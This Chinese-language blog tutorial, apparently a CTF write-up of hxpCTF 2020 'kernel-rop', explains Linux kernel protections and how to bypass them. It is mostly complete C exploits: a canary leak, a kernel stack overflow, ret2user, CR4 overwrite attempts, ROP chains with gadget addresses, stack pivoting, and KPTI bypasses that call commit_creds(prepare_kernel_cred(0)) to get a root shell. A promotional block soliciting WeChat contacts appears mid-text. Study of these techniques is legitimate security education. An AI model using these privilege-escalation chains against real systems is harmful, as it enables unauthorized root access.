Linux 內(nèi)核是 Linux操作系統(tǒng)的核心組件,它提供了操作系統(tǒng)的基本功能和服務(wù)。它是一個開源軟件,由Linus Torvalds 在 1991 年開始開發(fā),并得到了全球廣泛的貢獻和支持。
(資料圖片僅供參考)
Linux內(nèi)核的主要功能包括進程管理、內(nèi)存管理、文件系統(tǒng)、網(wǎng)絡(luò)通信、設(shè)備驅(qū)動程序等。它負責(zé)管理計算機硬件和軟件資源,并為應(yīng)用程序提供必要的基礎(chǔ)支持。Linux內(nèi)核是一個模塊化的系統(tǒng),可以根據(jù)需要加載和卸載各種驅(qū)動程序和功能模塊。
vmlinuz或bzImage:linux內(nèi)核的壓縮鏡像
vmlinux:linux內(nèi)核的符號表
initramfs.cpio.gz:文件系統(tǒng),有系統(tǒng)啟動的信息
run.sh:qemu啟動的shell腳本,里面有l(wèi)inux內(nèi)核開啟了哪些保護
通過壓縮的linux內(nèi)核鏡像獲取符號表
./extract-image.sh ./vmlinuz > vmlinuxextract-image.sh
#!/bin/sh# SPDX-License-Identifier: GPL-2.0-only# ----------------------------------------------------------------------# extract-vmlinux - Extract uncompressed vmlinux from a kernel image## Inspired from extract-ikconfig# (c) 2009,2010 Dick Streefland ## (c) 2011 Corentin Chary ## ----------------------------------------------------------------------?check_vmlinux(){ # Use readelf to check if it"s a valid ELF # TODO: find a better to way to check that it"s really vmlinux # and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1? cat $1 exit 0}?try_decompress(){ # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern.? # Try to find the header ($1) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done}?# Check invocation:me=${0##*/}img=$1if [ $# -ne 1 -o ! -s "$img" ]then echo "Usage: $me " >&2 exit 2fi?# Prepare temp files:tmp=$(mktemp /tmp/vmlinux-XXX)trap "rm -f $tmp" 0?# That didn"t work, so retry after decompression.try_decompress "\037\213\010" xy gunziptry_decompress "\3757zXZ\000" abcde unxztry_decompress "BZh" xy bunzip2try_decompress "\135\0\0\0" xxx unlzmatry_decompress "\211\114\132" xy "lzop -d"try_decompress "\002!L\030" xxx "lz4 -d"try_decompress "(\265/\375" xxx unzstd?# Finally check for uncompressed images or objects:check_vmlinux $img?# Bail out:echo "$me: Cannot find vmlinux." >&2 ROPgadget獲取
不建議用ROPgadget,速度比較慢
ROPgadget --binary ./vmlinux > gadgets.txtRopper獲取
使用ropper速度會比較快
ropper --file ./vmlinux --nocolor > g直接獲取
./vmlinux > gadgets.txt然后搜索
cat gadgets.txt | grep "pop"解包
mkdir initramfscd initramfscp ../initramfs.cpio.gz .gunzip ./initramfs.cpio.gzcpio -idm < ./initramfs.cpiorm initramfs.cpio打包
gcc -o exploit -static $1mv ./exploit ./initramfscd initramfsfind . -print0 \| cpio --null -ov --format=newc \| gzip -9 > initramfs.cpio.gzmv ./initramfs.cpio.gz ../Kernel stack cookies【canary】:防止內(nèi)核棧溢出
Kernel address space layout【KASLR】:內(nèi)核地址隨機化
Supervisor mode executionprotection【SMEP】:內(nèi)核態(tài)中不能執(zhí)行用戶空間的代碼。在內(nèi)核中可以將CR4寄存器的第20比特設(shè)置為1,表示啟用。
開啟:在-cpu參數(shù)中設(shè)置+smep
關(guān)閉:nosmep添加到-append
Supervisor Mode AccessPrevention【SMAP】:在內(nèi)核態(tài)中不能讀寫用戶頁的數(shù)據(jù)。在內(nèi)核中可以將CR4寄存器的第21比特設(shè)置為1,表示啟用。
開啟:在-cpu參數(shù)中設(shè)置+smap
關(guān)閉:nosmap添加到-append
Kernel page-tableisolation【KPTI】:將用戶頁與內(nèi)核頁分隔開,在用戶態(tài)時只使用用戶頁,而在內(nèi)核態(tài)時使用內(nèi)核頁。
開啟:kpti=1
關(guān)閉:nopti添加到-append
hxpCTF 2020 kernel-rop
這里使用hxpCTF2020的內(nèi)核題作為例子,對內(nèi)核中的保護以及如何繞過做簡單介紹。
項目地址:https://github.com/h0pe-ay/Kernel-Pwn
hackme_read
這個函數(shù)會將內(nèi)核棧的數(shù)據(jù)拷貝到用戶空間中去,因此可以利用改函數(shù)泄露內(nèi)核棧的信息
hackme_write
hackme_write這個函數(shù)則是從用戶空間拷貝數(shù)據(jù)到內(nèi)核棧中,但是變量V5的存儲空間是遠遠小于從用戶態(tài)中可以傳的數(shù)據(jù)的大小,因此導(dǎo)致了出現(xiàn)內(nèi)核態(tài)棧溢出。
【----幫助網(wǎng)安學(xué)習(xí),以下所有學(xué)習(xí)資料免費領(lǐng)!加vx:yj009991,備注 “博客園” 獲取!】
① 網(wǎng)安學(xué)習(xí)成長路徑思維導(dǎo)圖 ② 60+網(wǎng)安經(jīng)典常用工具包 ③ 100+SRC漏洞分析報告 ④ 150+網(wǎng)安攻防實戰(zhàn)技術(shù)電子書 ⑤ 最權(quán)威CISSP 認證考試指南+題庫 ⑥ 超1800頁CTF實戰(zhàn)技巧手冊 ⑦ 最新網(wǎng)安大廠面試題合集(含答案) ⑧ APP客戶端安全檢測指南(安卓+IOS)
首先在啟動腳本run.sh中加入-s的參數(shù),使得可以使用gdb對qemu進行調(diào)試
其次可以使用lsmod查看模塊加載的基址,這里需要注意的是需要先將啟動腳本中的權(quán)限改為0
否則直接運行不會顯示模塊的地址,結(jié)果如下
將權(quán)限修改為0之后,就可以正常顯示了
然后通過gdb進行調(diào)試時則可以將模塊的基地址加入進去,使用add-symbol-file hackme.ko 0xffffffffc0000000
接著是從題目給的內(nèi)核鏡像中提取符號信息,通過./extract-image.sh vmlinuz > vmlinux,并且也加載到gdb中
最后就可以開啟遠程調(diào)試了,target remote:1234
這里需要注意的是ida中顯示的地址可能不準確,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme
在hackme_write中打下斷點
這里我遇到個問題是在遇到push指令時不能夠使用ni進行跟蹤,而是需要si,否則會跑飛。
使用ni進行單步調(diào)試,程序會直接運行,無法斷下來。
使用si則可以單步
至此就可以對hackme.ko的模塊進行調(diào)試了。
首先是關(guān)閉內(nèi)核中所有的保護,在遇到內(nèi)核棧溢出時需要怎么完成漏洞利用。
run.sh
在append使用使用nosmap、nosemp、nokaslr、nopti關(guān)閉smap、semp、kaslr以及kpti的保護
qemu-system-x86_64 \ -m 128M \ -cpu kvm64\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \ -sret2user
由于題目沒有開啟任何保護,因此首要使用的方法就是利用棧溢出修改內(nèi)核棧上的返回地址。
首先檢查一下保護,發(fā)現(xiàn)hackme.ko開啟的canary的保護,因此想要完成棧溢出,首先需要泄露canary,由于題目本身就存在地址泄露功能,因此只要確保我們讀取的內(nèi)容包括canary的值即可
在hackme_read中打下斷點,查看變量v6中存儲了什么值,由于程序是通過memcpy進行數(shù)據(jù)拷貝的,因此直接查看RSI寄存器對應(yīng)的數(shù)據(jù)
可以發(fā)現(xiàn)canary的值就在其中,因此利用hackmeread這個函數(shù)就可以將數(shù)據(jù)泄露出來
這里需要注意的是,雖然題目限制的長度是0x1000,但是并不能將拷貝0x1000的長度,因為可能會在不可讀的地址中獲取數(shù)據(jù),導(dǎo)致了執(zhí)行錯誤。
在泄露canary后就可以劫持程序執(zhí)行流程了,與用戶態(tài)不同,在內(nèi)核態(tài)需要先獲取root憑證,在切換到用戶態(tài)下。
prepare_kernel_cred函數(shù)
prepare_kernel_cred函數(shù)用于為內(nèi)核中的進程(也就是進程的內(nèi)核線程)創(chuàng)建一個新的cred結(jié)構(gòu)體,該結(jié)構(gòu)體包含有關(guān)進程的安全上下文信息,例如UID、GID、capabilities 等。
commit_creds函數(shù)
commit_creds函數(shù)接受一個指向cred結(jié)構(gòu)體的指針,并將其分配給當(dāng)前進程。該函數(shù)通常在進程啟動時調(diào)用,以確保進程被正確配置以擁有所需的權(quán)限。
因此調(diào)用prepare_kernel_cred(0)可以獲取root權(quán)限的憑證,接著調(diào)用commit_creds函數(shù),就可以將當(dāng)前進程的特權(quán)修改為root。即指向commit_creds(prepare_kernel_cred(0))
在獲取完root之后則需要調(diào)用swags指令進行GS寄存器的切換,即將g_base與k_gs_base的值進行交換,swapgs是一個匯編指令,用于在執(zhí)行內(nèi)核代碼期間切換當(dāng)前 CPU 的內(nèi)核棧和 GS寄存器。完成交換之后才能確保在用戶態(tài)的尋址不會存在問題。
執(zhí)行swags指令之前
執(zhí)行swags指令之后
最后則是切換回用戶態(tài),iretq指令是 x86架構(gòu)下用于從中斷處理程序(或系統(tǒng)調(diào)用處理程序)返回到用戶空間的指令。它是iret指令的 64 位版本,用于在 64 位模式下使用。
iretq指令有以下三個功能:
恢復(fù)處理器的標志寄存器 (EFLAGS)的值,以便返回到原始程序的執(zhí)行上下文。
恢復(fù)程序計數(shù)器 (Instruction Pointer, RIP)的值,以便返回到原始程序的執(zhí)行點。
恢復(fù)棧指針 (Stack Pointer, RSP) 的值,以便將堆棧指針切換回用戶棧上。
iretq還原的值的順序為RIP|CS|RFLAGS|SP|SS,那么在iret指令中按順序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在執(zhí)行iretq之前需要將在用戶態(tài)下將這些值進行保存。并且RIP指向的值為system("/bin/sh")函數(shù)的地址即可。
保存寄存器的匯編代碼如下
__asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" );在iretq指令后跟隨的值如下
exp
因此最后構(gòu)造的exp如下
#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags);}?void backdoor(){ printf("****getshell****"); system("id"); system("/bin/sh");}?unsigned long user_rip = (unsigned long)backdoor;?void lpe(){ __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" );}?int main(){ unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0;} SMEP保護是防止內(nèi)核執(zhí)行用戶空間的代碼,而上述的exp則是將利用過程是將匯編語言寫在用戶空間中,因此在SMEP的保護下,上述的利用會失效。下面將介紹繞過SMEP的幾種方法。
run.sh
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \ -s修改CR4寄存器
前面說過開啟SMEP保護實際是將CR4寄存器的第20比特位置為1
那么一個簡單的想法就是將CR4寄存器的第20比特位重寫為0,關(guān)閉SMEP的保護就可以使用上述的利用手法了。那么寫cr4寄存器的是通過native_write_cr4函數(shù),將需要改寫的值以參數(shù)的形式傳入進去,因此此時需要一個pop rdi; ret的gadget。
找到native_write_cr4函數(shù)
exp
#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4*/unsigned long user_sp, user_cs, user_ss, user_rflags;void save_user_land(){ __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags);}?void backdoor(){ printf("****getshell****"); system("id"); system("/bin/sh");}?unsigned long user_rip = (unsigned long)backdoor;?void lpe(){ __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" );}?int main(){ unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; // pop rdi; ret; payload[index++] = 0x00000000000060; payload[index++] = 0xffffffff814443e0; //native_write_cr4 payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0;} 但是在這個版本下的內(nèi)核已經(jīng)無法通過native_write_cr4函數(shù)改寫CR4寄存器了,可以通過dmesg打印日志信息,可以發(fā)現(xiàn)
提示pinned CR4 bits changed: 0x100000!?的錯誤,并且CR4的值也沒有被修改,這是因為在當(dāng)前的內(nèi)核版本中增加了校驗,若后續(xù)通過native_write_cr4函數(shù)修改的值與啟動的值不一致則會報錯,并且將值修改為回來的值。
可以看到補丁的說明,在啟動后CR4的值無法被修改。因此在改利用手法只能在對CR4進行校驗的版本下使用。
構(gòu)造逃逸ROP
由于SMEP只是杜絕了執(zhí)行用戶態(tài)的代碼,因此利用ROP的思路,在內(nèi)核態(tài)完成ROP鏈的構(gòu)造,并且執(zhí)行commit_creds(prepare_kernel_cred(0)) -> swags -> iretq的流程。
那么此時需要什么樣的gadget則是構(gòu)造逃逸ROP的重點,由于需要手動傳參調(diào)用上述的攻擊鏈,因此需要
pop rdi; ret;
mov rdi , rax; ret,這里需要注意的是,我們需要prepare_kernel_cred(0)執(zhí)行的返回值,因此需要將rax寄存器的值傳遞給rdi寄存器
swags; ret
iretq
除了mov rdi, rax; ret以外,其余的gadget都可以很輕松的搜索出來,但是內(nèi)核中不存在mod rdi, rax; ret這樣的gadget,因此需要想辦法找到其他的gadget,這里我找到如下的組合,通過構(gòu)造rdi與rsi的值,使得rdi = rsi從而導(dǎo)致jne的跳轉(zhuǎn)無法執(zhí)行,那么就可以在執(zhí)行mov rdi, rax的情況下可以跳過jne的跳轉(zhuǎn)指令執(zhí)行到ret指令。
0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff8150b97e: pop rsi; ret;因此ROP逃逸的思路與在用戶態(tài)的ROP區(qū)別不大,只要找到合適的gadget即可
exp
#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}?void backdoor(){ puts("***getshell***"); system("/bin/sh");} int main(){ save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8);}棧遷移
棧遷移能使用的場景是當(dāng)我們需要構(gòu)造的ROP鏈大于能溢出的字節(jié)數(shù)時采用的與用戶態(tài)不同的是在內(nèi)核中存在很多可以修改RSP指針的gadget可以使用。這里我找到的gadget是,通過pop rbp; ret與mov rsp, rbp結(jié)合,就能夠篡改rsp為任何值。
0xffffffff818fa3ef: xor rax, rdx; pop rbp; ret;0xffffffff810062dc: mov rsp, rbp; pop rbp; ret;那么需要將rsp篡改為何值,此時就需要結(jié)合mmap函數(shù),該函數(shù)能夠在用戶空間中開辟一段內(nèi)存,該內(nèi)存的屬性可以自定義,因此思路則是將rsp的值指向mmap開辟的地址,通過棧遷移技術(shù),將棧遷移到mmap的地址值,我們在將ROP鏈填充到mmap開辟的內(nèi)存中即可,這里對mmap函數(shù)進行一個介紹。
mmap函數(shù)
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);addr:開辟的地址值,若為0則操作系統(tǒng)自行選擇,否則為填充的值,該地址的值需要頁對齊(0x1000),并且最小的值需要為0x10000(這里是我自己測試的)
length:內(nèi)存的大小
prot:權(quán)限
PROT_EXEC,執(zhí)行權(quán)限
PROT_READ,讀權(quán)限
PROT_WRITE,寫權(quán)限
PROT_NONE,沒有任何權(quán)限
flags:標志位,mmap函數(shù)可以設(shè)置的標志位有很多,這里著重介紹一些常用的
MAP_SHARED:共享映射,映射的內(nèi)容可以被其他進程所看到,同時能夠同步到底層的文件
MAP_PRIVATE:私有映射,映射的內(nèi)容不能被其他進程所看到,也不會同步到底層的文件
MAP_ANONYMOUS:匿名映射,是一種不映射文件的映射
MAP_FIXED:固定映射,即映射地址必須是addr所指定的,若該地址被占用則mmap返回錯誤
fd:需要映射的文件描述符,若是匿名映射則設(shè)置為-1
offet:映射的偏移,即選擇從哪個位置開始映射
映射代碼如下,這里需要注意的是,由于我們只需要在用戶空間中任意開辟一段可執(zhí)行的內(nèi)存,因此只需要進行匿名映射,并且地址值需要固定。因此MAP_ANONYMOUS與MAP_FIXED的標志位需要被指定,然后是MAP_SHARED與MAP_PRIVATE必須兩個中指定一個,否則也會報錯,因為這兩個參數(shù)指明的是修改的內(nèi)容是否會影響其他進程或者是底層的文件。
棧遷移完成
將ROP鏈部署在了映射內(nèi)存中
最后是遇到的小疑惑,剛開始學(xué)習(xí)到棧遷移的時候會覺得奇怪,因為mmap開辟的內(nèi)存是在用戶態(tài)的,SMEP則是禁止執(zhí)行用戶態(tài)的代碼,為什么使用棧遷移可以繞過SMEP,后面理解發(fā)現(xiàn),我們只是訪問了用戶空間的地址即0x2000,但是這段用戶態(tài)空間填寫的地址都是內(nèi)核態(tài)的地址,因此總結(jié)流程則是我們在用戶態(tài)空間中填充了內(nèi)核態(tài)的地址,在進行棧遷移繞過SMEP時,僅僅是訪問了用戶態(tài)空間的地址,最后執(zhí)行時還是執(zhí)行的內(nèi)核態(tài)的地址,因此SMEP無法阻礙這種利用。而這也正是SMAP與SMEP的區(qū)別,SMAP則是無法讀寫用戶態(tài)空間,因此若開啟了SMAP,那么該利用手法則無法進行。
KPTI(Kernel Page Table Isolation)是一種針對 Intel處理器的內(nèi)核保護機制,用于減輕 Spectre 和 Meltdown 等 CPU可以被利用的安全漏洞所造成的影響。KPTI的主要目的是隔離內(nèi)核地址空間和用戶地址空間,防止惡意程序通過訪問內(nèi)核地址空間來竊取敏感數(shù)據(jù)。
簡單來說就是KPTI的保護即將用戶空間的頁與內(nèi)核內(nèi)核空間的頁完全分隔開,那么在使用上述代碼進行利用的時候會報出段錯誤,因為在內(nèi)核空間的頁中沒辦法找到用戶空間的代碼。
那么有兩種方式可以繞過KPTI
捕獲Segmentation fault的異常,在異常處理中調(diào)用system(/bin/sh)
切換頁表,將內(nèi)核空間的頁表切換到用戶空間中去
run.sh
qemu-system-x86_64 \ -m 128M \ -cpu kvm64,+smep\ -kernel vmlinuz \ -initrd initramfs.cpio.gz \ -hdb flag.txt \ -snapshot \ -nographic \ -monitor /dev/null \ -no-reboot \ -append "console=ttyS0 nosmap nokaslr kpti=1 quiet panic=1" \ -s使用異常處理
使用異常處理非常簡單,只需要注冊一個異常處理的函數(shù)去捕獲SIGSEGV信號,在捕獲到該信號時執(zhí)行異常處理函數(shù),可自定義為system("/bin/sh")
signal(SIGSEGV, backdoor);exp
#include #include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}?void backdoor(){ puts("***getshell***"); system("/bin/sh");} int main(){ save_state(); signal(SIGSEGV, backdoor); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff8100a55f; //swapgs; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff814381cb; //iretq; pop rbp; ret; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8);}使用swapgs_restore_regs_and_return_to_usermode
第二種方式則是修改頁表,CR3 寄存器是 x86架構(gòu)中的一種控制寄存器,用于存儲頁目錄表(Page DirectoryTable)的物理地址。因此若能夠修改CR3的值為用戶空間的頁表,那么就可以完成頁表的切換,從而正常執(zhí)行利用代碼了。
那么在內(nèi)核中存在一個函數(shù)swapgs_restore_regs_and_return_to_usermode,swapgs_restore_regs_and_return_to_usermode函數(shù)是在 x86架構(gòu)中用于從內(nèi)核態(tài)切換到用戶態(tài)的匯編代碼片段。這個函數(shù)的作用是在內(nèi)核態(tài)執(zhí)行完系統(tǒng)調(diào)用或中斷處理程序后,恢復(fù)用戶態(tài)進程的寄存器狀態(tài),并返回到用戶態(tài)進程的執(zhí)行點繼續(xù)執(zhí)行。
在內(nèi)核中搜索該函數(shù)的地址
可以看到在該函數(shù)的內(nèi)部存在修改CR3的操作,因此只需要調(diào)用該函數(shù),就可以從內(nèi)核空間的頁表修改為用戶空間的頁表,但是該函數(shù)的起始位置會進行非常多的彈棧操作,如果直接使用很容易造成ROP鏈的空間不足,因此可以選擇在swapgs_restore_regs_and_return_to_usermode + 0x16的位置開始執(zhí)行。
在該函數(shù)后續(xù)的執(zhí)行中,還會執(zhí)行swapgs的指令,切換GS的寄存器,并且做一個絕對跳轉(zhuǎn)到0xffffffff81200fco
在該地址的后續(xù)還存在這iretq的指令,因此該函數(shù)具備了所有的條件。
exp
#include #include ?/*0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff823d6b02: cmp rdi, 0xffffff; ret;0xffffffff8166fea3: mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; 0xffffffff8166ff23: mov rdi, rax; jne 0x86fef3; pop rbx; pop rbp; ret;0xffffffff81006370: pop rdi; ret;0xffffffff8100a55f: swapgs; pop rbp; ret; 0xffffffff818c6b35: add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; 0xffffffff814381cb: iretq; pop rbp; ret;0xffffffff8150b97e: pop rsi; ret;0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode*/?//iretq RIP|CS|RFLAGS|SP|SSunsigned long user_cs,user_rflags,user_sp,user_ss;void save_state(){ __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***");}?void backdoor(){ puts("***getshell***"); system("/bin/sh");} int main(){ save_state(); int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 0x10 * 8); for(int i = 0; i < 0x10; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 0; payload[index++] = 0xffffffff814c67f0; //prepare_kernel_cred payload[index++] = 0xffffffff8150b97e; //pop_rsi_ret payload[index++] = 0; payload[index++] = 0xffffffff81006370; //pop_rdi_ret payload[index++] = 1; payload[index++] = 0xffffffff818c6b35; //add rsi, 1; cmp rsi, rdi; jne 0xac6b30; pop rbp; ret; payload[index++] = 0; payload[index++] = 0xffffffff8166fea3; //mov rdi, rax; jne 0x86fe73; pop rbx; pop rbp; ret; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff814c6410; //commit_creds; payload[index++] = 0xffffffff81200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); }SMAP則是防止在內(nèi)核態(tài)時訪問用戶態(tài)的空間,此時使用swapgs_restore_regs_and_return_to_usermode函數(shù)也是完全可以繞過的,因此可以直接使用swapgs_restore_regs_and_return_to_usermode構(gòu)建的ROP鏈。
